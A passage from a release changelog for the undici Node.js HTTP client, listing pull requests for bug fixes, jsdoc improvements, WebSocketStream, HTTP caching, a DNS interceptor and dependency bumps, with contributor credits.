-   use FinalizationRegistry for cloned response body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3458](https://redirect.github.com/nodejs/undici/pull/3458)
-   perf: use isIPv6 for checking if hostname is isIPv6 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3466](https://redirect.github.com/nodejs/undici/pull/3466)
-   fix: stripURLForReferrer jsdoc in fetch logic by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3471](https://redirect.github.com/nodejs/undici/pull/3471)
-   fix: remove kInterceptors in ProxyAgent by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3474](https://redirect.github.com/nodejs/undici/pull/3474)
-   fix: fix codesmells in retry-handler by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3475](https://redirect.github.com/nodejs/undici/pull/3475)
-   add autocompletable header types by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3462](https://redirect.github.com/nodejs/undici/pull/3462)
-   fix: add missing kOriginalDispatch Symbol in mock-logic by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3470](https://redirect.github.com/nodejs/undici/pull/3470)
-   fix: fix jsdoc in cookies/parse.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3469](https://redirect.github.com/nodejs/undici/pull/3469)
-   fix: remove unnecessary parameters in USVString calls by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3467](https://redirect.github.com/nodejs/undici/pull/3467)
-   fix: add jsdoc in tree.js, avoiding codesmells by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3476](https://redirect.github.com/nodejs/undici/pull/3476)
-   perf: set isLowerCase param on all calls of HeadersList.append by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3468](https://redirect.github.com/nodejs/undici/pull/3468)
-   fix: instantiation of ResponseError, pass headers and data correctly by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3472](https://redirect.github.com/nodejs/undici/pull/3472)
-   ci: add WPT updater by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3482](https://redirect.github.com/nodejs/undici/pull/3482)
-   meta: move nightly comment body to issue body by [@&#8203;RedYetiDev](https://redirect.github.com/RedYetiDev) in [https://github.com/nodejs/undici/pull/3484](https://redirect.github.com/nodejs/undici/pull/3484)
-   chore: improve jsdoc in cookies by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3478](https://redirect.github.com/nodejs/undici/pull/3478)
-   chore: improve jsdoc and minor changes in EventSource by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3480](https://redirect.github.com/nodejs/undici/pull/3480)
-   types: add Autocomplete utility type by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3479](https://redirect.github.com/nodejs/undici/pull/3479)
-   fix: instantiation of SecureProxyConnectionError should pass options to parent class by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3473](https://redirect.github.com/nodejs/undici/pull/3473)
-   chore: replace standard and snazzy with neostandard by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3485](https://redirect.github.com/nodejs/undici/pull/3485)
-   fix: workflow commit user by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3491](https://redirect.github.com/nodejs/undici/pull/3491)
-   build(deps): bump node from `30c5be9` to `a20e858` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3496](https://redirect.github.com/nodejs/undici/pull/3496)
-   chore: add --noEmit for typescript tests by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3498](https://redirect.github.com/nodejs/undici/pull/3498)
-   perf: only create wasm buffer if requested by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3499](https://redirect.github.com/nodejs/undici/pull/3499)
-   fix(types): MockAgent accepts ProxyAgent, EnvHttpProxyAgent and RetryAgent for agent option by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3497](https://redirect.github.com/nodejs/undici/pull/3497)
-   stricter Headers brand checks in cookies by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3500](https://redirect.github.com/nodejs/undici/pull/3500)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3488](https://redirect.github.com/nodejs/undici/pull/3488)
-   fix: setEncoding should not throw on body [#&#8203;1125](https://redirect.github.com/nodejs/undici/issues/1125) by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3505](https://redirect.github.com/nodejs/undici/pull/3505)
-   websocket: set websocket readyState on fail by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3507](https://redirect.github.com/nodejs/undici/pull/3507)
-   build(deps-dev): bump jsdom from 24.1.3 to 25.0.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3511](https://redirect.github.com/nodejs/undici/pull/3511)
-   build(deps): bump wait-on from 7.2.0 to 8.0.0 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3513](https://redirect.github.com/nodejs/undici/pull/3513)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3515](https://redirect.github.com/nodejs/undici/pull/3515)
-   fix: reduce memory usage in client-h1 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3510](https://redirect.github.com/nodejs/undici/pull/3510)
-   fix: refactor fast timers, fix UND_ERR_CONNECT_TIMEOUT on event loop blocking by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3495](https://redirect.github.com/nodejs/undici/pull/3495)
-   ci: make autobahn workflow reusable workflow, run the autobahn on nightly tests by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3503](https://redirect.github.com/nodejs/undici/pull/3503)
-   remove third party everything support in fetch by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3502](https://redirect.github.com/nodejs/undici/pull/3502)
-   remove double validation in webidl by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3516](https://redirect.github.com/nodejs/undici/pull/3516)
-   test: improve gc detection by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3504](https://redirect.github.com/nodejs/undici/pull/3504)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3519](https://redirect.github.com/nodejs/undici/pull/3519)
-   populate defaultValues in webidl dict. converter when passing null or undefined by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3518](https://redirect.github.com/nodejs/undici/pull/3518)
-   change webidl.util.Type return to an enum value by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3520](https://redirect.github.com/nodejs/undici/pull/3520)
-   set default argument values to undefined instead of {} by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3521](https://redirect.github.com/nodejs/undici/pull/3521)
-   ci: fix nightly workflow by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3525](https://redirect.github.com/nodejs/undici/pull/3525)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3527](https://redirect.github.com/nodejs/undici/pull/3527)
-   remove unused symbol by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3530](https://redirect.github.com/nodejs/undici/pull/3530)
-   fix formdata arg validation by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3529](https://redirect.github.com/nodejs/undici/pull/3529)
-   build(deps): bump github/codeql-action from 3.25.15 to 3.26.6 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3534](https://redirect.github.com/nodejs/undici/pull/3534)
-   build(deps): bump hendrikmuhs/ccache-action from 1.2.13 to 1.2.14 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3536](https://redirect.github.com/nodejs/undici/pull/3536)
-   build(deps): bump step-security/harden-runner from 2.9.0 to 2.9.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3535](https://redirect.github.com/nodejs/undici/pull/3535)
-   build(deps): bump actions/upload-artifact from 4.3.4 to 4.4.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3537](https://redirect.github.com/nodejs/undici/pull/3537)
-   Remove patched DOM types by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3533](https://redirect.github.com/nodejs/undici/pull/3533)
-   chore: minor changes in client-h1, use subarray instead of slice by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3538](https://redirect.github.com/nodejs/undici/pull/3538)
-   fix: run asserts first if possible by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3541](https://redirect.github.com/nodejs/undici/pull/3541)
-   build(deps): bump node from `a20e858` to `a17f484` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3542](https://redirect.github.com/nodejs/undici/pull/3542)
-   chore: noop per file by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3544](https://redirect.github.com/nodejs/undici/pull/3544)
-   build(deps): bump node from `a17f484` to `ef7b4bb` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3547](https://redirect.github.com/nodejs/undici/pull/3547)
-   chore: rename buildUrl to serializePathWithQuery + jsdoc by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3545](https://redirect.github.com/nodejs/undici/pull/3545)
-   fix: add jsdoc and do minor changes in utils.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3550](https://redirect.github.com/nodejs/undici/pull/3550)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3556](https://redirect.github.com/nodejs/undici/pull/3556)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3561](https://redirect.github.com/nodejs/undici/pull/3561)
-   feat: jsdoc and minor optimizations in client-h1.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3551](https://redirect.github.com/nodejs/undici/pull/3551)
-   fix: handle websocket closed correctly by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3565](https://redirect.github.com/nodejs/undici/pull/3565)
-   fix: extract noop everywhere by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3559](https://redirect.github.com/nodejs/undici/pull/3559)
-   chore: add jsdoc for lib/web/websocket/util.js, minor rewrite of utf8Decode by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3563](https://redirect.github.com/nodejs/undici/pull/3563)
-   jsdoc: lib/api/readable.js, fix some types by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3567](https://redirect.github.com/nodejs/undici/pull/3567)
-   fix: use fasttimers for all connection timeouts by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3552](https://redirect.github.com/nodejs/undici/pull/3552)
-   chore: use 'use strict' in cjs files by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3568](https://redirect.github.com/nodejs/undici/pull/3568)
-   chore: update typescript testing deps by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3571](https://redirect.github.com/nodejs/undici/pull/3571)
-   build(deps)!: bump concurrently from 8.2.2 to 9.0.0 in /benchmarks (node < 18 unsupported) by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3574](https://redirect.github.com/nodejs/undici/pull/3574)
-   build(deps): bump node from `ef7b4bb` to `3cb4748` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3573](https://redirect.github.com/nodejs/undici/pull/3573)
-   chore: improve jsdoc of lib/core/tree.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3572](https://redirect.github.com/nodejs/undici/pull/3572)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3576](https://redirect.github.com/nodejs/undici/pull/3576)
-   jsdoc: improve typing of deepClone by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3575](https://redirect.github.com/nodejs/undici/pull/3575)
-   chore: improve jsdoc of lib/core/constants.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3570](https://redirect.github.com/nodejs/undici/pull/3570)
-   chore: upgrade fixed queue, lint accordingly, add jsdoc by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3577](https://redirect.github.com/nodejs/undici/pull/3577)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3581](https://redirect.github.com/nodejs/undici/pull/3581)
-   ci: less flaky test/request-timeout.js test by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3580](https://redirect.github.com/nodejs/undici/pull/3580)
-   chore: remove pluralizer by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3586](https://redirect.github.com/nodejs/undici/pull/3586)
-   util: rename validateHandler to assertRequestHandler, minor changes in util.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3583](https://redirect.github.com/nodejs/undici/pull/3583)
-   mock: remove Error.captureStackTrace in MockNotMatchedError by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3587](https://redirect.github.com/nodejs/undici/pull/3587)
-   fix: DRY up lib/core/diagnostics.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3585](https://redirect.github.com/nodejs/undici/pull/3585)
-   fix: husky deprecation warning by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3593](https://redirect.github.com/nodejs/undici/pull/3593)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3598](https://redirect.github.com/nodejs/undici/pull/3598)
-   chore: remove unused `pre-commit` dependency by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3599](https://redirect.github.com/nodejs/undici/pull/3599)
-   diagnostics-channel: use not deprecated subscribe fn by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3600](https://redirect.github.com/nodejs/undici/pull/3600)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3607](https://redirect.github.com/nodejs/undici/pull/3607)
-   fetch: make fullyReadBody sync by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3603](https://redirect.github.com/nodejs/undici/pull/3603)
-   jsdoc: add jsdoc to lib/web/fetch/constants.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3597](https://redirect.github.com/nodejs/undici/pull/3597)
-   fetch: pullAlgorithm passes the async resume function through by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3604](https://redirect.github.com/nodejs/undici/pull/3604)
-   fix: typo in Client.md by [@&#8203;SkeLLLa](https://redirect.github.com/SkeLLLa) in [https://github.com/nodejs/undici/pull/3612](https://redirect.github.com/nodejs/undici/pull/3612)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3615](https://redirect.github.com/nodejs/undici/pull/3615)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3622](https://redirect.github.com/nodejs/undici/pull/3622)
-   fetch: avoid async function in mainFetch to generate response by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3605](https://redirect.github.com/nodejs/undici/pull/3605)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3626](https://redirect.github.com/nodejs/undici/pull/3626)
-   append crlf to formdata body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3625](https://redirect.github.com/nodejs/undici/pull/3625)
-   fix: fire `close` on failed WebSocket connection by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3566](https://redirect.github.com/nodejs/undici/pull/3566)
-   fix: fire close on failed WebSocket connection by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3628](https://redirect.github.com/nodejs/undici/pull/3628)
-   handle body errors by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3632](https://redirect.github.com/nodejs/undici/pull/3632)
-   make cloned request inherit dispatcher by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3631](https://redirect.github.com/nodejs/undici/pull/3631)
-   Remove symbols from web specs by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3633](https://redirect.github.com/nodejs/undici/pull/3633)
-   cleanup web symbol removal by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3638](https://redirect.github.com/nodejs/undici/pull/3638)
-   build(deps): bump mitata from 0.1.14 to 1.0.4 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3641](https://redirect.github.com/nodejs/undici/pull/3641)
-   feat: implement WebSocketStream by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3560](https://redirect.github.com/nodejs/undici/pull/3560)
-   export WebSocketStream, add docs and types by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3645](https://redirect.github.com/nodejs/undici/pull/3645)
-   build(deps): bump node from `3cb4748` to `83b4d7b` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3621](https://redirect.github.com/nodejs/undici/pull/3621)
-   feat: add DNS interceptor by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3490](https://redirect.github.com/nodejs/undici/pull/3490)
-   prefer fail over close the websocket connection in error cases by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3651](https://redirect.github.com/nodejs/undici/pull/3651)
-   fix: various typos by [@&#8203;NathanBaulch](https://redirect.github.com/NathanBaulch) in [https://github.com/nodejs/undici/pull/3640](https://redirect.github.com/nodejs/undici/pull/3640)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3634](https://redirect.github.com/nodejs/undici/pull/3634)
-   test: increase bitness in `test/fixtures/*.pem` by [@&#8203;LiviaMedeiros](https://redirect.github.com/LiviaMedeiros) in [https://github.com/nodejs/undici/pull/3659](https://redirect.github.com/nodejs/undici/pull/3659)
-   mock: fix mocking of Uint8Array and ArrayBuffers as provided mock-responses by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3662](https://redirect.github.com/nodejs/undici/pull/3662)
-   test: less flaky timers acceptance test, rework fast timer tests to pass them faster by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3656](https://redirect.github.com/nodejs/undici/pull/3656)
-   build(deps): bump github/codeql-action from 3.26.6 to 3.26.10 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3664](https://redirect.github.com/nodejs/undici/pull/3664)
-   build(deps): bump peter-evans/create-pull-request from 6.1.0 to 7.0.5 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3665](https://redirect.github.com/nodejs/undici/pull/3665)
-   build(deps): bump fastify/github-action-merge-dependabot from 3.10.1 to 3.10.2 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3667](https://redirect.github.com/nodejs/undici/pull/3667)
-   build(deps): bump codecov/codecov-action from 4.5.0 to 4.6.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3668](https://redirect.github.com/nodejs/undici/pull/3668)
-   ws: move implementation agnostic onFail logic to shared function by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3663](https://redirect.github.com/nodejs/undici/pull/3663)
-   build(deps): bump step-security/harden-runner from 2.9.1 to 2.10.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3666](https://redirect.github.com/nodejs/undici/pull/3666)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3669](https://redirect.github.com/nodejs/undici/pull/3669)
-   fix: add option `ignoreTrailingSlash` to MockAgent and `.intercept()`  by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3655](https://redirect.github.com/nodejs/undici/pull/3655)
-   fix: ignore leading and trailing crlfs in formdata body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3677](https://redirect.github.com/nodejs/undici/pull/3677)
-   test: add test to ensure full type when parsing multipart/form-data' by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3683](https://redirect.github.com/nodejs/undici/pull/3683)
-   test: use globalThis.Headers and skip if is missing by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3684](https://redirect.github.com/nodejs/undici/pull/3684)
-   jsdoc: adds some jsdoc to fetch headers implementation, minor changes by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3687](https://redirect.github.com/nodejs/undici/pull/3687)
-   feat: check maxHeadersSize on client instantiation and not on Parser instantion by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3654](https://redirect.github.com/nodejs/undici/pull/3654)
-   test: remove test for issue 1670 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3690](https://redirect.github.com/nodejs/undici/pull/3690)
-   replace instanceof in brand checks with isPrototypeOf by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3692](https://redirect.github.com/nodejs/undici/pull/3692)
-   test: make fetch test independent from internet connection by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3691](https://redirect.github.com/nodejs/undici/pull/3691)
-   build(deps-dev): bump esbuild from 0.19.12 to 0.24.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3698](https://redirect.github.com/nodejs/undici/pull/3698)
-   fix: restructure determineRequestsReferrer to match better spec by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3699](https://redirect.github.com/nodejs/undici/pull/3699)
-   set ws readyState if closed before connection could be established by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3701](https://redirect.github.com/nodejs/undici/pull/3701)
-   types: fix return type of WebidlUtil.Type by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3685](https://redirect.github.com/nodejs/undici/pull/3685)
-   fetch: refactor referrer policy util functions by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3706](https://redirect.github.com/nodejs/undici/pull/3706)
-   fix: PoolBase kClose and kDestroy should await and not return the Promise by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3716](https://redirect.github.com/nodejs/undici/pull/3716)
-   fix: data-url set extractValue of collectAnHTTPQuotedString by default to false by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3717](https://redirect.github.com/nodejs/undici/pull/3717)
-   faster brand check by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3720](https://redirect.github.com/nodejs/undici/pull/3720)
-   web: mark as uncloneable when possible by [@&#8203;jazelly](https://redirect.github.com/jazelly) in [https://github.com/nodejs/undici/pull/3709](https://redirect.github.com/nodejs/undici/pull/3709)
-   chore(H2): onboard H2 into Undici queueing system by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3707](https://redirect.github.com/nodejs/undici/pull/3707)
-   http: extract listeners from client-h1 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3725](https://redirect.github.com/nodejs/undici/pull/3725)
-   http2: extract listenHandlers and one bugfix by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3722](https://redirect.github.com/nodejs/undici/pull/3722)
-   feat: http caching by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3562](https://redirect.github.com/nodejs/undici/pull/3562)
-   build(deps-dev): bump borp from 0.17.0 to 0.18.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3734](https://redirect.github.com/nodejs/undici/pull/3734)
-   docs: fix broken link in readme by [@&#8203;pastelsky](https://redirect.github.com/pastelsky) in [https://github.com/nodejs/undici/pull/3591](https://redirect.github.com/nodejs/undici/pull/3591)
-   chore: add jsdoc to lib/web/websocket/constants.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3564](https://redirect.github.com/nodejs/undici/pull/3564)
-   chore: remove redundant async in readable.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3643](https://redirect.github.com/nodejs/undici/pull/3643)
-   fix(types): add missing `cache` prop to RequestInit by [@&#8203;rindeal](https://redirect.github.com/rindeal) in [https://github.com/nodejs/undici/pull/3569](https://redirect.github.com/nodejs/undici/pull/3569)
-   \[http-cache] follow up by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3733](https://redirect.github.com/nodejs/undici/pull/3733)
-   fix([#&#8203;3736](https://redirect.github.com/nodejs/undici/issues/3736)): leaked error event on response body by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3740](https://redirect.github.com/nodejs/undici/pull/3740)
-   fix: unsafe methods not causing cache purge by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3739](https://redirect.github.com/nodejs/undici/pull/3739)
-   build(deps): bump node from `83b4d7b` to `f1b4315` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3756](https://redirect.github.com/nodejs/undici/pull/3756)
-   fix filename\* parsing by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3768](https://redirect.github.com/nodejs/undici/pull/3768)
-   fix http2 test by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3769](https://redirect.github.com/nodejs/undici/pull/3769)
-   add unsafe-url referrerPolicy test by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3772](https://redirect.github.com/nodejs/undici/pull/3772)
